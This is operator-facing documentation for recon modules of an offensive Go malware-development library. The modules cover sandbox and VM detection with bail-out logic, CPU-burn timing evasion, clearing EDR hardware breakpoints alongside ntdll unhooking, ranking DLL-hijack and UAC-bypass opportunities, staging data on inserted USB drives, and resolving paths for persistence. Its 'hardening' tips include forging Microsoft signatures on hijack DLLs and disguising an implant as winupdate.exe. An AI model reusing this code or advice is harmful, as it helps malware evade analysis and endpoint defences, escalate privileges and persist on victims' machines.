See recon/sandbox for the multi-factor Checker.IsSandboxed — debugger + VM detection are two of the seven dimensions it composes.

OPSEC & Detection

ArtefactWhere defenders look
IsDebuggerPresent Win32 callUniversal — invisible
/proc/self/status readLinux: invisible
Registry probes against VM driver keysEDR usually invisible; some sandbox-aware AV may flag patterns
MAC-prefix interface enumerationUniversally invisible
CPUID 0x40000000 (hypervisor leaf)Invisible to user-mode telemetry
Behavioural correlation: many checks then early exitSandboxes time-out themselves; correlation is post-fact

D3FEND counters:

  • D3-EI — sandbox executor design.

Hardening for the operator:

  • Pair antidebug + antivm with timing-based evasion (recon/timing) — sandboxes time out before a multi-second BusyWait completes.
  • Use recon/sandbox for the multi-factor pipeline rather than calling primitives independently.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1622Debugger Evasionfull — antidebug.IsDebuggerPresentD3-EI
T1497.001Virtualization/Sandbox Evasion: System Checksfull — antivm 7 dimensionsD3-EI

Limitations

  • PEB-only on Windows. Sophisticated debuggers can clear the BeingDebugged flag — ScyllaHide and similar harden it.
  • No anti-VMI. Bare-metal VMI (Volatility-on-host) defeats every userland check.
  • Static fingerprints. Vendors who customise OEM strings in DMI / registry can defeat default fingerprints; supply custom Vendor lists for hostile environments.
  • WSL detection is loose. WSL2 looks very VM-like; expect false positives if WSL is a legitimate target.

See also

Sandbox detection orchestrator

← recon index · docs/index

TL;DR

Multi-factor sandbox / VM / analysis-environment detector. Aggregates 7 check dimensions (antidebug, antivm, hardware thresholds, suspicious user/host names, analysis-tool processes, fake-domain DNS interception, time-based) into a single Checker.IsSandboxed result. Returns (true, reason, err) so callers can bail and log why.

Primer

No single signal is conclusive. CPU core count alone won't tell you Cuckoo from a low-end laptop; VM detection alone misses bare-metal forensic workstations. The orchestrator stacks indicators across orthogonal dimensions so high-confidence sandboxes (Cuckoo, Joe Sandbox, ANY.RUN, hybrid-analysis) light up across multiple checks while real targets light up across zero or one.

The default configuration is calibrated against the canonical public sandbox baselines: 2 cores, 4 GB RAM, 60 GB disk, generic usernames (admin, user, sandbox, malware), analysis tools (procmon, wireshark, fiddler, x32dbg/x64dbg).

How It Works

flowchart TD
    subgraph cfg [Config dimensions]
        DEBUG[Debugger]
        VM[VM/Hypervisor]
        HW[Hardware<br>cores / RAM / disk]
        IDENT[User / hostname]
        PROC[Process names]
        DNS[Fake-domain DNS]
        TIME[Time-based]
    end
    DEBUG --> AGG[Checker.IsSandboxed]
    VM --> AGG
    HW --> AGG
    IDENT --> AGG
    PROC --> AGG
    DNS --> AGG
    TIME --> AGG
    AGG --> OUT{any check fires?}
    OUT --> RES[true + reason]
    OUT --> NORMAL[false + nil]

Per-dimension tunables in Config: each check has a threshold and an enable flag. DefaultConfig ships defender-baseline values; operators harden against specific targets by tightening or relaxing.

API Reference

SymbolDescription
type ConfigPer-dimension thresholds + enable flags
DefaultConfig() ConfigDefender-baseline calibration
type CheckerOrchestrator instance
New(cfg) *CheckerBuild a checker
Checker.IsSandboxed(ctx) (bool, string, error)Run all enabled checks; first match wins (binary verdict)
Checker.CheckAll(ctx) []ResultRun every check; return all results (per-check breakdown)
Score(results []Result) intAggregate []Result into a 0..100 confidence score, capped at 100
Weights() map[string]intReturns a copy of the per-check score weights for audit/tuning

Scoring weights

CheckWeightRationale
debugger20active analyst attached
vm18virt detection probe matched
domain15sandbox DNS resolves a known-fake domain
process13analysis tool (procmon / wireshark / …) running
username12analyst-flavour user name
hostname12analyst-flavour hostname
process_count7unusually low PID population
connectivity6no real internet egress
ram5below MinRAMGB
disk5below MinDiskGB
cpu3below MinCPUCores

Sum of all weights = 116. The aggregate is capped at 100 so a "matched everything" outcome lands at the ceiling. Operators pick a bail threshold (typically 50–70) per their tolerance for false positives.

Examples

Simple — defender baseline

import (
    "context"
    "os"

    "github.com/oioio-space/maldev/recon/sandbox"
)

c := sandbox.New(sandbox.DefaultConfig())
if hit, reason, _ := c.IsSandboxed(context.Background()); hit {
    fmt.Fprintf(os.Stderr, "bail: %s\n", reason)
    os.Exit(0)
}

Composed — strict thresholds

Harden against a specific defender pipeline by raising hardware thresholds and adding custom usernames.

cfg := sandbox.DefaultConfig()
cfg.MinCPUCores = 4
cfg.MinRAMGB = 8
cfg.SuspiciousUsernames = append(cfg.SuspiciousUsernames,
    "test", "demo", "vagrant",
)
c := sandbox.New(cfg)

Advanced — full audit + report

results := c.CheckAll(ctx)
for _, r := range results {
    if r.Detected {
        fmt.Printf("%-15s %s\n", r.Name, r.Detail)
    }
}

Replace the binary IsSandboxed verdict with a 0..100 score so operators can tune the bail threshold per engagement.

import "github.com/oioio-space/maldev/recon/sandbox"

c := sandbox.New(sandbox.DefaultConfig())
results := c.CheckAll(ctx)
score := sandbox.Score(results)
if score >= 60 {
    log.Printf("bail: sandbox score=%d", score)
    return
}

Audit / tune the weights:

for name, w := range sandbox.Weights() {
    log.Printf("weight[%s] = %d", name, w)
}

OPSEC & Detection

ArtefactWhere defenders look
Many checks then early exitSandboxes self-flag — they exhausted their analysis budget
Fake-domain DNS resolutionSandboxes often sinkhole; the DNS query itself is logged
Analysis-tool process enumerationSandboxes know they run wireshark; the enumeration succeeds
BusyWait followed by exitTime-based sandbox decoys

D3FEND counters:

  • D3-EI — sandbox design itself.

Hardening for the operator:

  • Calibrate thresholds against the actual target stack — too strict means false positives on real low-spec targets.
  • Layer with timing BusyWait; sandboxes time out before a 30-second wait completes.
  • Run the full IsSandboxed once at startup, then cache — re-running on every callback is wasted effort.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1497Virtualization/Sandbox Evasionfull — multi-factor orchestratorD3-EI

Limitations

  • No bypass for VMI. Bare-metal volatility analysis defeats every check.
  • False positives on low-spec real users. Tightening hardware thresholds catches sandboxes but may catch real embedded / minimal-VM targets. The Score helper + operator-chosen threshold gives finer control than the binary IsSandboxed: a single hardware check failing on a real low-spec target only contributes 3-5 points; the operator's bail threshold (typically 50-70) absorbs that noise.
  • Score weights are static. The current detectionWeights are tuned for "default-defender baseline" target shapes. Targets with unusual hardware (cheap VPS, dense Docker hosts) may need re-weighting via Weights() audit + a custom aggregator.
  • DNS check requires outbound resolution. Air-gapped sandboxes that NXDOMAIN everything still defeat the fake-domain probe.
  • No rootkit awareness. Hooks installed by sandbox kernel drivers are out of scope; pair with evasion/unhook + recon/hwbp for kernel-hook detection.

See also

Time-based sandbox evasion

← recon index · docs/index

TL;DR

Burn CPU for a real wall-clock duration to defeat sandboxes that fast-forward Sleep(). Two flavours: tight time-comparison loop (BusyWait) or primality-testing loop (BusyWaitPrimality) for a math-like CPU pattern.

Primer

Sandboxes commonly hook Sleep / WaitForSingleObject to skip waits and observe what the implant does next. A 30-second Sleep() becomes a no-op; a 30-second BusyWait does not. The distinction is subtle but reliable — sandboxes have analysis budgets, and a 30-second CPU burn forces them to either fast-forward (impossible — there's no kernel hook for "spin faster") or use up their budget.

Two implementations, both cross-platform:

  • BusyWait — repeatedly compares time.Now() to the deadline. Pinning one core at 100% in a tight comparison is cheap to fingerprint behaviourally.
  • BusyWaitPrimality — burns CPU via primality testing. Same wall-clock effect, more "math workload"-like CPU pattern.

How It Works

sequenceDiagram
    participant Imp as "Implant"
    participant Hook as "Sandbox<br>(Sleep hook)"
    participant CPU

    Note over Imp: Naive Sleep — sandbox fast-forwards
    Imp->>Hook: Sleep(30 * time.Second)
    Hook-->>Imp: instant return

    Note over Imp: BusyWait — sandbox can't fast-forward CPU loops
    Imp->>CPU: for time.Now() < deadline { … }
    CPU-->>Imp: 30 s real wall-clock burned
    Note over Imp: Sandbox analysis budget exhausted

API Reference

SymbolDescription
BusyWait(d time.Duration)Burn CPU for d via time comparison
BusyWaitTrig(d)Same with trigonometric work for variation
BusyWaitPrimality()Burn CPU via primality testing for ~30 s
BusyWaitPrimalityN(n int)N iterations of primality testing

Examples

Simple — 30-second burn at startup

import (
    "time"

    "github.com/oioio-space/maldev/recon/timing"
)

timing.BusyWait(30 * time.Second)
// Sandbox analysis budget likely exhausted; continue.

Composed — primality variant

timing.BusyWaitPrimalityN(50_000_000)
// ~30 s on modern hardware; CPU pattern looks like prime sieving.

Pipeline — sandbox bail + timing

import (
    "context"
    "os"

    "github.com/oioio-space/maldev/recon/sandbox"
    "github.com/oioio-space/maldev/recon/timing"
)

if hit, _, _ := sandbox.New(sandbox.DefaultConfig()).IsSandboxed(context.Background()); hit {
    os.Exit(0)
}
timing.BusyWait(30 * time.Second) // catch sandboxes that bypassed dimension checks

OPSEC & Detection

ArtefactWhere defenders look
100% CPU on one core for sustained periodsBehavioural EDR rarely flags; some hypervisor-aware sandboxes do
Process at 100% CPU then transitions to network I/OPattern-matching EDR may correlate
time.Now() syscall stormsPer-call telemetry — invisible at user-mode

D3FEND counters:

  • D3-EI — sandbox design itself.

Hardening for the operator:

  • Use BusyWaitPrimality over BusyWait for less-fingerprintable CPU pattern.
  • Stagger BusyWait calls between meaningful operations rather than one giant block at startup — looks more like a long-running workload, less like a sandbox-detection sentinel.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1497.003Virtualization/Sandbox Evasion: Time Based Evasionfull — CPU-burn defeats Sleep hooksD3-EI

Limitations

  • CPU spike. 100% CPU on a target with idle expectations is itself a tell; calibrate duration against target's expected workload.
  • Doesn't help against real targets. A 30-second startup delay is user-visible on real targets — only acceptable for background services / persistence binaries.
  • No defeat for live VM emulation. Sandboxes running on bare-metal at full speed can still capture full behaviour; CPU-burn just prevents the trivial Sleep-hook bypass.

See also

Hardware breakpoint detection & clear

← recon index · docs/index

TL;DR

EDRs (notably CrowdStrike Falcon) place hardware breakpoints on NT function prologues using DR0-DR3 — invisible to the classic ntdll-on-disk-unhook pass. Detect reads DR0-DR3 across every thread and returns those pointing into ntdll; ClearAll zeros them via SetThreadContext.

Primer

Hardware debug registers DR0-DR3 hold up to four breakpoint addresses; DR6 is the status register, DR7 controls enable/condition/length. The kernel maintains DR state per-thread; user-mode reads/writes via GetThreadContext / SetThreadContext.

EDRs use HWBPs to monitor Nt* calls without modifying ntdll's .text. A breakpoint set at NtOpenProcess+0 triggers a #DB exception on entry that the EDR's vectored exception handler intercepts. Because .text is unchanged, classic "unhook ntdll from disk" defeats inline hooks but does not defeat HWBPs.

recon/hwbp reads DR0-DR3 across every thread in the current process, identifies breakpoints pointing into ntdll, and clears them.

How It Works

flowchart TD
    START["Walk threads in process"] --> SUSP["SuspendThread"]
    SUSP --> CTX["GetThreadContext<br>CONTEXT_DEBUG_REGISTERS"]
    CTX --> DR{"DR0-DR3 set?"}
    DR -- yes --> RESOLVE["resolve address to module"]
    RESOLVE --> NTDLL{"in ntdll?"}
    NTDLL -- yes --> COLLECT["Breakpoint TID Register Address"]
    NTDLL -- no --> SKIP["skip"]
    DR -- no --> NEXT["next thread"]
    COLLECT --> NEXT
    NEXT --> RESUME["ResumeThread"]
    RESUME --> NEXT2["continue walk"]

ClearAll walks the same threads, zeros DR0-DR3 + DR7 via SetThreadContext, and resumes.

API Reference

SymbolDescription
Detect() ([]Breakpoint, error)HWBPs pointing into ntdll
DetectAll() ([]Breakpoint, error)Every set HWBP regardless of target
ClearAll() (int, error)Zero DR0-DR3 + DR7 across all threads; returns count cleared
Technique() evasion.Techniqueevasion.Technique adapter for evasion.ApplyAll

type Breakpoint: TID, Register (0-3), Address, Module (e.g. "ntdll.dll").

Examples

Simple — detect + report

import "github.com/oioio-space/maldev/recon/hwbp"

bps, _ := hwbp.Detect()
for _, bp := range bps {
    fmt.Printf("DR%d → %x in %s (TID %d)\n",
        bp.Register, bp.Address, bp.Module, bp.TID)
}

Composed — clear if any found

if bps, _ := hwbp.Detect(); len(bps) > 0 {
    if cleared, err := hwbp.ClearAll(); err == nil {
        fmt.Printf("cleared %d HWBP(s)\n", cleared)
    }
}

Advanced — chain with ntdll unhook

Full integrity restore: clear HWBPs + unhook inline hooks.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/recon/hwbp"
)

techs := []evasion.Technique{
    hwbp.Technique(),                  // clear DR0-DR3
    unhook.Classic("NtOpenProcess"),   // unhook inline
    unhook.Classic("NtAllocateVirtualMemory"),
    // ...
}
_ = evasion.ApplyAll(techs, nil)

OPSEC & Detection

ArtefactWhere defenders look
SetThreadContext(CONTEXT_DEBUG_REGISTERS)EDRs that hook this API see the clear; rare but not unknown
Sustained SuspendThread / ResumeThread cyclesBehavioural anomaly on idle processes
ETW Microsoft-Windows-Threat-Intelligence DR-register-write eventsWin11 22H2+ ETW-Ti provider; few SOCs subscribe
HWBPs cleared while EDR expects them setEDR self-checks may detect (rare in production)

D3FEND counters:

  • D3-PSA — debug-register manipulation telemetry.
  • D3-SCA — kernel-side syscall observation unaffected by HWBP clear.

Hardening for the operator:

  • Pair with evasion/unhook in a single evasion.ApplyAll chain to clear HWBPs + inline hooks together.
  • Use win/syscall direct/indirect syscalls even after clearing — defeats both inline + HWBP regardless of clear success.
  • Re-check periodically — long-running implants may see EDR re-set HWBPs on thread creation.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1622Debugger Evasionfull — DR0-DR3 inspection + clearD3-PSA
T1027.005Indicator Removal from Toolspartial — neutralises EDR HWBPsD3-PSA

Limitations

  • Per-process, per-thread. New threads created after ClearAll may receive fresh HWBPs from the EDR.
  • Kernel-set HWBPs untouchable. Some EDRs use kernel callbacks to set HWBPs on every thread creation; clearing user-mode just defers the problem to the next new thread.
  • Detection requires module attribution. Detect only reports breakpoints in ntdll; HWBPs in other modules (kernelbase, user32) are missed unless using DetectAll.
  • Wow64 inheritance. 32-bit threads under WoW64 use a separate DR context; this package targets the native context.
  • Thread suspension visible. SuspendThread is itself monitored by some EDRs.

See also

DLL search-order hijack discovery

← recon index · docs/index

TL;DR

Discover DLL-search-order hijack opportunities across services, running processes, scheduled tasks, and autoElevate=true binaries. ScanAll returns Opportunity records carrying the writable hijack path + the legitimate resolved DLL location. Validate proves the hijack works by dropping a canary; Rank prioritises by integrity gain.

Primer

A DLL hijack works when an application loads xyz.dll and Windows resolves the load via the search-order rules — first the application directory, then System32, then PATH. If the operator can drop a xyz.dll in a writable directory the application checks before System32, the operator's code runs at the next load.

This package finds those opportunities programmatically:

  • Services — services running as SYSTEM whose binary path is in a writable directory + missing IAT-imported DLL = root on next service start.
  • Processes — live process IATs walked via Toolhelp32; same filter.
  • Scheduled tasks — registered tasks parsed via COM ITaskService.
  • AutoElevate — System32 .exe whose manifest carries autoElevate=true (fodhelper, sdclt, eventvwr, …) — these silently elevate without UAC prompt; a hijack here is a textbook UAC bypass.

KnownDLLs (HKLM\…\Session Manager\KnownDLLs) are excluded — those are early-load-mapped from \KnownDlls\ and bypass the search order entirely.

How It Works

flowchart LR
    subgraph scan [Scanners]
        SVC["ScanServices<br>SCM enum + IAT walk"]
        PROC["ScanProcesses<br>Toolhelp32 + loaded modules"]
        TASK["ScanScheduledTasks<br>COM ITaskService"]
        AE["ScanAutoElevate<br>System32 manifest filter"]
    end
    SVC --> ALL["ScanAll returns Opportunity slice"]
    PROC --> ALL
    TASK --> ALL
    AE --> ALL
    ALL --> RANK["Rank<br>integrity-gain score"]
    RANK --> VAL["Validate<br>drop canary + trigger"]
    VAL --> CONF["ValidationResult<br>confirmed hijack"]

API Reference

SymbolDescription
ScanAll(opts...) ([]Opportunity, error)Aggregate all four scanners
ScanServices, ScanProcesses, ScanScheduledTasks, ScanAutoElevateIndividual scanners
Rank(opps) []OpportunityScore by integrity gain + autoElevate
Validate(opp, canary, opts) (*ValidationResult, error)Drop canary, trigger, observe
SearchOrder(exeDir) []stringDLL search-order resolution
HijackPath(exeDir, dllName) (hijackDir, resolvedDir string)First writable dir < first legitimate dir
IsAutoElevate(peBytes) boolManifest probe

Opportunity carries: Kind, ID, DisplayName, Binary, MissingDLL, HijackedPath, ResolvedDLL, IntegrityGain, AutoElevate.

Examples

Simple — list ranked opportunities

import "github.com/oioio-space/maldev/recon/dllhijack"

opps, _ := dllhijack.ScanAll()
for _, o := range dllhijack.Rank(opps)[:5] {
    fmt.Printf("%s %s → %s\n", o.Kind, o.DisplayName, o.HijackedPath)
}

Composed — UAC-bypass scan only

ae, _ := dllhijack.ScanAutoElevate()
for _, o := range ae {
    fmt.Printf("UAC bypass: drop %s in %s\n", o.MissingDLL, o.HijackedPath)
}

Advanced — validate before deploying

canary, _ := os.ReadFile("canary.dll") // emits a marker file on load

res, err := dllhijack.Validate(opp, canary, dllhijack.ValidateOpts{
    TriggerFunc: func() error { /* invoke the victim */ return nil },
    Timeout:     30 * time.Second,
})
if err == nil && res.Triggered {
    // confirmed; safe to drop the real payload
}

OPSEC & Detection

ArtefactWhere defenders look
Write to service directory by non-installer processEDR file-write telemetry — high-fidelity
New DLL in %PROGRAMFILES%\… written by user-context processDefender ASR rule
DLL load from non-System32 path with System32 binary nameEDR module-load rule
AutoElevate exe spawning child from unusual pathDefender for Endpoint MsSense flags
Sysmon Event 7 (image loaded) for unsigned DLL in System32-adjacent pathUniversal high-fidelity

D3FEND counters:

  • D3-EAL — strict allowlisting catches unsigned DLLs.
  • D3-FCA — DLL signature verification.

Hardening for the operator:

  • Drop the hijack DLL with a Microsoft Authenticode signature via pe/cert.Copy.
  • Match VERSIONINFO to the legitimate DLL via pe/masquerade.
  • Validate before deploying — Validate runs the canary in isolation, no implant exposure.
  • Prefer ScanAutoElevate results: UAC bypass is the highest integrity-gain category.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1574.001Hijack Execution Flow: DLL Search Order HijackingfullD3-EAL, D3-FCA
T1548.002Abuse Elevation Control Mechanism: Bypass UACpartial — autoElevate hijacksD3-EAL

Limitations

  • Static IAT only by default. Runtime LoadLibrary calls not in the IAT are missed unless ScanProcesses happens to catch them via Toolhelp32.
  • Validate may detonate. Validate actually runs the canary in the target's context — operators must understand the side-effects of triggering the victim.
  • Admin scans. ScanServices enumerates SCM-registered services; some entries return ACCESS_DENIED without admin.
  • AutoElevate fragility. Microsoft has been silently hardening autoElevate binaries — the canonical fodhelper bypass is patched on Win11; verify per build.

See also

Drive enumeration & monitoring

← recon index · docs/index

TL;DR

Enumerate Windows logical drives (New

  • LogicalDriveLetters) and watch for new drives (NewWatcher + Watch). Each Info carries letter, type (TypeFixed / TypeRemovable / TypeNetwork / …), and volume metadata (label, serial, filesystem). Used for USB-insertion triggers, SMB-share discovery, and removable-media data staging.

Primer

The Windows storage model exposes drives via single-letter roots (A:-Z:). GetLogicalDrives returns a bitmask of present letters; GetDriveTypeW classifies each (fixed / removable / network / CD-ROM / RAM-disk); GetVolumeInformationW returns label + serial + filesystem.

Operationally:

  • Initial discovery — at startup, identify mounted shares, network drives, removable media for staging targets.
  • Watch loop — long-running implants poll for new drives; USB key insert is a common data-staging trigger.

How It Works

flowchart LR
    GLD[GetLogicalDrives<br>letter bitmask] --> LET[A: B: C: …]
    LET --> TYPE[GetDriveTypeW<br>per-letter classification]
    LET --> VOL[GetVolumeInformationW<br>label + serial + FS]
    TYPE --> INFO[Info<br>Letter / Type / Volume]
    VOL --> INFO
    INFO --> WATCH[Watcher<br>poll snapshot diff]
    WATCH --> EVT[Event<br>EventAdded / EventRemoved]

Watcher polling is configurable (default 200 ms). Snapshots are diffed; new entries emit EventAdded, removed entries emit EventRemoved. The FilterFunc lets callers narrow to e.g. TypeRemovable only.

API Reference

SymbolDescription
type InfoLetter + Type + Volume metadata
type TypeTypeFixed / TypeRemovable / TypeNetwork / TypeCDROM / TypeRAM / TypeUnknown
type EventKindEventAdded / EventRemoved
New(letter) (*Info, error)Resolve single drive
LogicalDriveLetters() ([]string, error)Every present drive letter
TypeOf(root) TypePer-root classification
VolumeOf(root) (*VolumeInfo, error)Volume label + serial + FS
NewWatcher(ctx, filter) *WatcherWatcher (consumed by both watcher modes below)
(*Watcher).Watch(interval) (<-chan Event, error)Polling mode. Re-enumerates drives every interval. Headless-process compatible — no message pump required.
(*Watcher).WatchEvents(buffer) (<-chan Event, error)Event mode (NEW). Hidden message-only window subscribed to WM_DEVICECHANGE. Zero CPU at idle, ms-latency wake on DBT_DEVICEARRIVAL / DBT_DEVICEREMOVECOMPLETE. Requires an interactive session for the broadcast to land.
(*Watcher).Snapshot() ([]*Info, error)Current snapshot

(*Watcher).WatchEvents(buffer int) (<-chan Event, error)

godoc

Event-driven watcher. Internally:

  1. Locks the goroutine to its OS thread (mandatory — Win32 message pumps can't migrate).
  2. Registers a WNDCLASSEXW and creates a message-only window (HWND_MESSAGE).
  3. Receives WM_DEVICECHANGE and triggers Snapshot+diff on DBT_DEVICEARRIVAL / DBT_DEVICEREMOVECOMPLETE.
  4. On ctx.Done(), posts WM_CLOSE so the pump exits via WM_DESTROY → WM_QUIT, destroys the window, unregisters the class, closes the channel.

Parameters:

  • buffer — channel capacity. 0 is synchronous; ≥ 4 recommended for burst-friendly consumers (USB hub re-enumeration emits multiple WM_DEVICECHANGEs in quick succession).

Returns:

  • <-chan Event — closed on ctx cancel.
  • error — non-nil when RegisterClassExW / CreateWindowExW fails before the pump starts. Per-iteration errors arrive on the channel as Event{Err: ...} instead of being returned.

Side effects: registers a window class on the calling process for the lifetime of the watcher.

OPSEC: very-quiet — message-only windows aren't enumerated by EnumWindows and don't appear in Spy++ default views. Visible only to a debugger walking User Atom Tables for the registered class name (MaldevDriveWatcher).

Required privileges: unprivileged.

Platform: windows (interactive session — service / SYSTEM contexts receive no WM_DEVICECHANGE broadcasts).

When to pick which:

SituationUse
Headless / SYSTEM service / no interactive sessionWatch(interval) (polling)
Foreground / interactive processWatchEvents(buffer) (event-driven)
You don't care about CPU at idle and want simple semanticsWatch(interval)
You want sub-second latency and zero idle CPUWatchEvents(buffer)

Examples

Simple — single-drive lookup

import "github.com/oioio-space/maldev/recon/drive"

d, _ := drive.New("C:")
fmt.Printf("%s %s\n", d.Letter, d.Type)

Composed — list all removables

letters, _ := drive.LogicalDriveLetters()
for _, l := range letters {
    if drive.TypeOf(l+`\`) == drive.TypeRemovable {
        info, _ := drive.New(l)
        fmt.Println(info.Letter, info.Volume.Label)
    }
}

Advanced — USB-insert trigger (polling)

ctx, cancel := context.WithCancel(context.Background())
defer cancel()

w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
    return d.Type == drive.TypeRemovable
})
ch, _ := w.Watch(500 * time.Millisecond)
for ev := range ch {
    if ev.Kind == drive.EventAdded {
        // stage data on the inserted USB
        stageData(ev.Drive.Letter)
    }
}

Advanced — event-driven (WM_DEVICECHANGE)

Same use-case, zero-CPU at idle. Requires an interactive session — use the polling variant on services / SYSTEM contexts where WM_DEVICECHANGE doesn't broadcast.

ctx, cancel := context.WithCancel(context.Background())
defer cancel()

w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
    return d.Type == drive.TypeRemovable
})
ch, err := w.WatchEvents(4) // buffer 4 — USB hub re-enum bursts
if err != nil {
    return err // RegisterClassExW / CreateWindowExW failure
}
for ev := range ch {
    if ev.Kind == drive.EventAdded {
        stageData(ev.Drive.Letter)
    }
}

OPSEC & Detection

ArtefactWhere defenders look
GetLogicalDrives pollingUniversal API — invisible at user-mode
Sustained 200 ms polling on idle processBehavioural EDR may flag CPU patterns; raise interval
Subsequent file writes to removable mediaEDR file-write telemetry — high-fidelity for sensitive paths

D3FEND counters:

  • D3-FCA — DLP scans on writes to removable media.

Hardening for the operator:

  • Raise watch interval (1-2 s) on idle hosts.
  • Don't write to removable media while polling — the correlation is the high-fidelity signal.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1120Peripheral Device DiscoveryfullD3-FCA
T1083File and Directory Discoverypartial — drive enumeration is a sibling primitiveD3-FCA

Limitations

  • Two watcher modes, pick per session shape. Watch(interval) polls and works headless / in services / under SYSTEM (any context with no message broadcast). WatchEvents(buffer) uses WM_DEVICECHANGE and needs an interactive session — service / SYSTEM contexts get no broadcast. Both modes share the same Snapshot + diff machinery, so swapping is one line.
  • WatchEvents requires an OS-thread-locked goroutine. The Win32 message pump cannot migrate threads, so the pump goroutine runtime.LockOSThreads for its entire lifetime. This adds one OS thread to the implant for the duration of the watcher.
  • WatchEvents registers a window class. The class (MaldevDriveWatcher) is a uint atom in the per-process user-atom table — invisible to EnumWindows but discoverable by a debugger walking atom tables.
  • Volume serial may be 0. Some virtual drives (RAM disks, some VPN drives) report serial 0.
  • Network drives cached. Mapped network drives that drop off may take several poll cycles to surface as EventRemoved under Watch. WatchEvents fires on WM_DEVICECHANGE, which DOES broadcast network-drive arrival / removal — better latency on this class.
  • Windows only. No Linux equivalent in this package; use inotify / udev directly.

See also

Windows special-folder paths

← recon index · docs/index

TL;DR

Resolve Windows special folder paths (Desktop, AppData, Startup, Program Files, …) via SHGetSpecialFolderPathW. Used by persistence/startup for StartUp-folder paths, by credentials/lsassdump for %SystemRoot%\System32\ntoskrnl.exe, and by any payload that needs a per-user / per-machine well-known path.

Primer

Windows uses CSIDL (Constant Special ID List) values to identify well-known folders abstractly. SHGetSpecialFolderPathW takes a CSIDL constant and returns the resolved filesystem path, handling per-user / per-machine differences and folder redirection in domain environments transparently.

The function is technically deprecated in favor of SHGetKnownFolderPath (Vista+, KNOWNFOLDERID enum), but the older API remains widely supported and avoids COM initialization overhead.

API Reference

Two paths: the modern [GetKnown] (KNOWNFOLDERID, recommended by Microsoft for new code) and the legacy [Get] (CSIDL, kept for backwards compatibility).

GetKnown(rfid *windows.KNOWNFOLDERID, flags uint32) (string, error)

godoc

Thin wrapper around golang.org/x/sys/windows.KnownFolderPath — that helper already handles the SHGetKnownFolderPath HRESULT contract + CoTaskMemFree of the API-allocated PWSTR. The package-local wrapper exists only to wrap the underlying error in ErrKnownFolderNotFound for errors.Is discrimination on the caller side.

Parameters:

  • rfid — pointer to one of the windows.FOLDERID_* constants (e.g. windows.FOLDERID_RoamingAppData) or a windows.KNOWNFOLDERID parsed from a custom GUID (3rd-party Shell extensions).
  • flags — bitwise OR of any windows.KF_FLAG_* bits — typically 0 (default), windows.KF_FLAG_CREATE (force directory creation), windows.KF_FLAG_DONT_VERIFY (skip existence check).

Returns:

  • string — resolved path. Not MAX_PATH-capped.
  • error — wraps ErrKnownFolderNotFound via %w when Shell32 returns a non-success HRESULT.

Side effects: none. windows.KnownFolderPath releases the API-allocated PWSTR internally.

OPSEC: very-quiet. SHGetKnownFolderPath is in every modern installer / Office app / browser path.

Required privileges: unprivileged.

Platform: windows ≥ Vista (KNOWNFOLDERID introduced in Vista).

Get(csidl CSIDL, createIfNotExist bool) string

godoc

Legacy path. Resolves a CSIDL constant via SHGetSpecialFolderPathW. Microsoft recommends GetKnown for new code; keep this for callers that already key on CSIDL.

Parameters:

  • csidl — one of the CSIDL_* constants.
  • createIfNotExist — pass true to create the folder when missing.

Returns:

  • string — resolved path or empty on failure.

Side effects: caps at MAX_PATH (260 chars).

OPSEC: very-quiet. Universal Win32 API.

Required privileges: unprivileged.

Platform: windows (all versions).

Common KNOWNFOLDERID constants

Use any windows.FOLDERID_* GUID directly — the catalogue lives in golang.org/x/sys/windows and covers everything from FOLDERID_Profile / FOLDERID_Desktop / FOLDERID_Documents / FOLDERID_Downloads to per-extension entries that 3rd-party Shell extensions register. No package-local re-export — saves the maintenance burden of mirroring upstream.

Common CSIDL constants (legacy)

CSIDL_DESKTOP, CSIDL_APPDATA, CSIDL_LOCAL_APPDATA, CSIDL_COMMON_APPDATA, CSIDL_STARTUP, CSIDL_COMMON_STARTUP, CSIDL_PROGRAM_FILES, CSIDL_PROGRAM_FILESX86, CSIDL_SYSTEM, CSIDL_WINDOWS, CSIDL_TEMPLATES.

Examples

Simple — modern KNOWNFOLDERID

import (
    "github.com/oioio-space/maldev/recon/folder"
    "golang.org/x/sys/windows"
)

appdata, _   := folder.GetKnown(windows.FOLDERID_RoamingAppData, 0)
downloads, _ := folder.GetKnown(windows.FOLDERID_Downloads, 0)
system, _    := folder.GetKnown(windows.FOLDERID_System, 0)

// Force creation (KFF_CREATE) when staging a per-user drop directory:
stage, _ := folder.GetKnown(windows.FOLDERID_LocalAppData, windows.KF_FLAG_CREATE)

Simple — legacy CSIDL

appdata := folder.Get(folder.CSIDL_APPDATA, false)
startup := folder.Get(folder.CSIDL_STARTUP, false)
system  := folder.Get(folder.CSIDL_SYSTEM, false)

Composed — feed persistence

import (
    "path/filepath"

    "github.com/oioio-space/maldev/recon/folder"
)

implant := filepath.Join(
    folder.Get(folder.CSIDL_LOCAL_APPDATA, false),
    "Microsoft", "OneDrive", "Update", "winupdate.exe",
)

Advanced — resolve ntoskrnl path for kernel-driver work

ntos := filepath.Join(
    folder.Get(folder.CSIDL_SYSTEM, false),
    "ntoskrnl.exe",
)
// feeds credentials/lsassdump.DiscoverProtectionOffset(ntos, opener)

OPSEC & Detection

ArtefactWhere defenders look
SHGetSpecialFolderPathW callsUniversal Win32 API — invisible
Subsequent file writes to resolved pathsEDR file-write telemetry; flag depends on the path

D3FEND counters: none specific — primitive itself is universally legitimate.

Hardening: none — the call is invisible. Hardening is at the consumer (the writes the path drives).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1083File and Directory Discoveryfull

Limitations

  • CSIDL is the legacy path. Microsoft recommends KNOWNFOLDERID for new code. The package now ships both: use GetKnown for new callers; Get stays for backwards compatibility. KNOWNFOLDERID also exposes folders the legacy CSIDL set cannot resolve (FOLDERID_Downloads, third-party Shell extensions).
  • GetKnown returns API-allocated PWSTR. The wrapper frees it via CoTaskMemFree on every call — never returns a borrowed buffer the caller must clean up.
  • MAX_PATH cap on Get only. The legacy path truncates paths longer than 260 chars (Get); GetKnown is uncapped.
  • Some virtual folders return empty. CSIDL_NETWORK, CSIDL_PRINTERS, and similar non-filesystem virtual folders return empty strings.
